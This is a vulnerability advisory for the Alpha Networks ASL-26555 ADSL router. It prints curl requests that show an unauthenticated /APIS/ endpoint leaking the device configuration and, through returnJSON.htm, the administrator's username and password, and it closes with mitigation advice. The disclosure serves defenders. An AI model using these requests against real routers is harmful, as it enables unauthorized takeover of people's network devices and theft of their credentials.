Alpha Networks ADSL2/2+ Wireless Router ASL-26555 Password Disclosure

`  
- Title:  
  
Alpha Networks ADSL2/2+ Wireless Router ASL-26555 Remote Administration Password Disclosure  
  
- Author:  
  
Alberto Ortega @a0rtega  
alberto[@]pentbox[.]net  
  
- Version:  
  
Tested on firmware version v2.0.0.30B_ES.  
Laboratory subject: http://a0rtega.pentbox.net/files/asl-26555-zombie.jpg  
  
- Summary:  
  
Alpha Networks ADSL Wireless Routers have an administration web panel  
to manage the device configuration.  
  
To access the panel, the administrator has to visit the IP of the device using  
the port 8000 with a web browser. It will prompt for authentication.  
  
$ curl http://192.168.1.1:8000/SETUP/sp_home.htm  
<title>401 Not Authorized</title>  
<h1>401 Not Authorized</h1>  
  
$ curl -I http://192.168.1.1:8000/SETUP/sp_home.htm  
HTTP/1.1 401 Not Authorized  
Server: LocalAccess  
Date: Thu, 16 Aug 2012 18:23:08 GMT  
WWW-Authenticate: Basic realm="ASL-26555"  
  
- The vulnerability:  
  
If we investigate the directory /APIS/ in the same web server we will have a fully usable  
API to grab information from the device.  
  
This API doesn't seem to be documented anywhere, quite weird (backdoor?).  
  
Also, this API doesn't require authentication and grant us administrator access.  
  
The implemented calls to the API are:  
  
returnWifiJSON.htm returnInterfacesJSON.txt  
returnWelcomeInfoJSON.htm returnFirewallLevelJSON.txt  
returnUsbJSON.htm returnFirewallJSON.txt  
returnServicesJSON.txt returnDhcpList.htm  
returnPasswordJSON.htm returnDevicesJSON.htm  
returnLoginStatusJSON.htm returnApplicationsListJSON.htm  
returnLoginJSON.txt returnApplicationsJSON.htm  
returnJSON.htm returnApplicationJSON.txt  
returnIpJSON.txt returnInternetJSON.htm  
  
We can read all the configuration from the device without authentication. In addition, we have  
a call named returnJSON.htm that returns us the credentials of the administrator user:  
  
$ curl -I http://192.168.1.1:8000/APIS/returnJSON.htm  
HTTP/1.1 200 OK  
Server: LocalAccess  
Date: Thu, 16 Aug 2012 18:29:50 GMT  
Transfer-Encoding: chunked  
Content-Type: text/html  
  
$ curl http://192.168.1.1:8000/APIS/returnJSON.htm  
{  
"RETURN":{  
"success": true,  
"errorDescription": "ERROR_GENERAL"  
},  
"USER":{  
"USERNAME": "admin",  
"PASSWORD": "adm1n_passw0rd_exposed"  
}  
}  
  
This credentials can be used to log into the web panel with the administrator account.  
  
- Mitigation:  
  
The only possible mitigation is to drop access to everyone from the outside  
with a network level blocking configuration.  
This can be done in the Advanced configuration of the device.  
  
You can also turn off the web panel, but you won't be able to manage the device.  
  
`